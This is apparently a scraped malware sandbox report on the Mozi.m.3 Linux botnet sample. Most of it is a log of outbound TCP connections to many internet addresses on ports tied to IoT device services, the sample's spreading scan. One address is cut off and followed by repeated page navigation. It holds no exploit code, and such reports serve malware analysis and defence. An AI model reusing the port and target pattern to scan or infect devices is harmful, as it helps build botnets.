Source: global traffic	TCP traffic: 192.168.2.23:42706 -> 40.107.51.226:8443
Source: global traffic	TCP traffic: 192.168.2.23:34180 -> 126.36.55.25:8080
Source: global traffic	TCP traffic: 192.168.2.23:39988 -> 90.228.187.181:7574
Source: global traffic	TCP traffic: 192.168.2.23:38076 -> 188.126.206.174:8080
Source: global traffic	TCP traffic: 192.168.2.23:47250 -> 35.183.126.209:7574
Source: global traffic	TCP traffic: 192.168.2.23:53236 -> 125.19.179.159:8080
Source: global traffic	TCP traffic: 192.168.2.23:52226 -> 187.0.181.7:8443
Source: global traffic	TCP traffic: 192.168.2.23:55502 -> 198.194.3.135:8443
Source: global traffic	TCP traffic: 192.168.2.23:41642 -> 180.254.127.131:81
Source: global traffic	TCP traffic: 192.168.2.23:54332 -> 179.194.207.199:8443
Source: global traffic	TCP traffic: 192.168.2.23:53330 -> 105.25.244.131:8080
Source: global traffic	TCP traffic: 192.168.2.23:60190 -> 91.8.221.112:5555
Source: global traffic	TCP traffic: 192.168.2.23:48354 -> 118.24.78.63:52869
Source: global traffic	TCP traffic: 192.168.2.23:41650 -> 182.6.67.113:52869
Source: global traffic	TCP traffic: 192.168.2.23:37162 -> 154.2.250.169:52869
Source: global traffic	TCP traffic: 192.168.2.23:39162 -> 93.65.82.228:8080
Source: global traffic	TCP traffic: 192.168.2.23:57378 -> 31.215.135.3:8080
Source: global traffic	TCP traffic: 192.168.2.23:36702 -> 95.36.0.71:8443
Source: global traffic	TCP traffic: 192.168.2.23:33918 -> 186.74.80.35:52869
Source: global traffic	TCP traffic: 192.168.2.23:48518 -> 173.122.150.192:8443
Source: global traffic	TCP traffic: 192.168.2.23:56510 -> 217.208.181.28:8080
Source: global traffic	TCP traffic: 192.168.2.23:56828 -> 144.50.58.60:81
Source: global traffic	TCP traffic: 192.168.2.23:41554 -> 16.185.224.54:81
Source: global traffic	TCP traffic: 192.168.2.23:60082 -> 49.30.95.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:58350 -> 160.111.162.219:8080
Source: global traffic	TCP traffic: 192.168.2.23:49632 -> 182.28.59.175:8080
Source: global traffic	TCP traffic: 192.168.2.23:46638 -> 152.225.18.120:49152
Source: global traffic	TCP traffic: 192.168.2.23:42056 -> 32.23.240.199:8080
Source: global traffic	TCP traffic: 192.168.2.23:42232 -> 83.44.15.163:8080
Source: global traffic	TCP traffic: 192.168.2.23:39266 -> 173.184.209.182:81
Source: global traffic	TCP traffic: 192.168.2.23:36660 -> 213.176.82.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:46094 -> 185.189.197.94:52869
Source: global traffic	TCP traffic: 192.168.2.23:39130 -> 11.152.191.105:8080
Source: global traffic	TCP traffic: 192.168.2.23:43716 -> 219.17.67.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:53316 -> 12.186.198.42:8080
Source: global traffic	TCP traffic: 192.168.2.23:40416 -> 194.243.196.252:81
Source: global traffic	TCP traffic: 192.168.2.23:36448 -> 96.17.16.68:8080
Source: global traffic	TCP traffic: 192.168.2.23:32944 -> 112.176.104.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:37630 -> 178.182.207.142:5555
Source: global traffic	TCP traffic: 192.168.2.23:51470 -> 133.193.211.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:53422 -> 6.42.96.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:38924 -> 154.44.206.244:8080
Source: global traffic	TCP traffic: 192.168.2.23:56090 -> 40.217.232.105:52869
Source: global traffic	TCP traffic: 192.168.2.23:57580 -> 131.239.170.174:49152
Source: global traffic	TCP traffic: 192.168.2.23:43542 -> 2.176.99.42:7574
Source: global traffic	TCP traffic: 192.168.2.23:52996 -> 189.232.159.133:49152
Source: global traffic	TCP traffic: 192.168.2.23:43952 -> 126.68.225.175:81
Source: global traffic	TCP traffic: 192.168.2.23:57672 -> 11.216.21.192:52869
Source: global traffic	TCP traffic: 192.168.2.23:60434 -> 164.17.85.186:8080
Source: global traffic	TCP traffic: 192.168.2.23:45776 -> 142.34.122.100:8080
Source: global traffic	TCP traffic: 192.168.2.23:42756 -> 157.160.238.119:7574
Source: global traffic	TCP traffic: 192.168.2.23:39974 -> 182.70.170.130:52869
Source: global traffic	TCP traffic: 192.168.2.23:46428 -> 87.253.23.67:8443
Source: global traffic	TCP traffic: 192.168.2.23:42444 -> 40.168.7.236:8080
Source: global traffic	TCP traffic: 192.168.2.23:46920 -> 35.122.67.94:8080
Source: global traffic	TCP traffic: 192.168.2.23:35208 -> 19.116.56.119:8080
Source: global traffic	TCP traffic: 192.168.2.23:41388 -> 28.168.205.128:5555
Source: global traffic	TCP traffic: 192.168.2.23:46810 -> 180.89.169.85:8080
Source: global traffic	TCP traffic: 192.168.2.23:60502 -> 103.133.112.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:46798 -> 49.121.221.50:5555
Source: global traffic	TCP traffic: 192.168.2.23:39856 -> 50.26.175.172:7574
Source: global traffic	TCP traffic: 192.168.2.23:55124 -> 55.226.166.165:52869
Source: global traffic	TCP traffic: 192.168.2.23:38808 -> 216.93.120.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:49802 -> 122.42.97.57:49152
Source: global traffic	TCP traffic: 192.168.2.23:48480 -> 208.121.43.95:8080
Source: global traffic	TCP traffic: 192.168.2.23:43660 -> 104.109.35.63:8443
Source: global traffic	TCP traffic: 192.168.2.23:42678 -> 206.105.5.142:8443
Source: global traffic	TCP traffic: 192.168.2.23:39712 -> 75.73.55.134:81
Source: global traffic	TCP traffic: 192.168.2.23:56110 -> 141.226.112.48:5555
Source: global traffic	TCP traffic: 192.168.2.23:33402 -> 34.69.23.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:34628 -> 90.26.83.230:8080
Source: global traffic	TCP traffic: 192.168.2.23:43266 -> 2.200.21.111:52869
Source: global traffic	TCP traffic: 192.168.2.23:55798 -> 9.219.58.246:49152
Source: global traffic	TCP traffic: 192.168.2.23:52562 -> 179.28.189.224:52869
Source: global traffic	TCP traffic: 192.168.2.23:49274 -> 137.195.163.37:8443
Source: global traffic	TCP traffic: 192.168.2.23:56380 -> 162.6.132.254:8080
Source: global traffic	TCP traffic: 192.168.2.23:36358 -> 112.65.113.89:8443
Source: global traffic	TCP traffic: 192.168.2.23:45098 -> 110.90.55.169:81
Source: global traffic	TCP traffic: 192.168.2.23:51500 -> 189.134.48.15:8080
Source: global traffic	TCP traffic: 192.168.2.23:45834 -> 83.57.65.59:8080
Source: global traffic	TCP traffic: 192.168.2.23:48840 -> 164.96.150.142:8080
Source: global traffic	TCP traffic: 192.168.2.23:33918 -> 204.119.212.109:8080
Source: global traffic	TCP traffic: 192.168.2.23:54498 -> 79.161.24.176:49152
Source: global traffic	TCP traffic: 192.168.2.23:50678 -> 75.174.1<

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report
Mozi.m.3

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Overview

Initial Sample

Dropped Files

Memory Dumps

Jbx Signature Overview

AV Detection

Spreading

Networking

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Mozi.m.3

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Overview

Initial Sample

Dropped Files

Memory Dumps

Jbx Signature Overview

AV Detection

Spreading

Networking

Linux Analysis Report
Mozi.m.3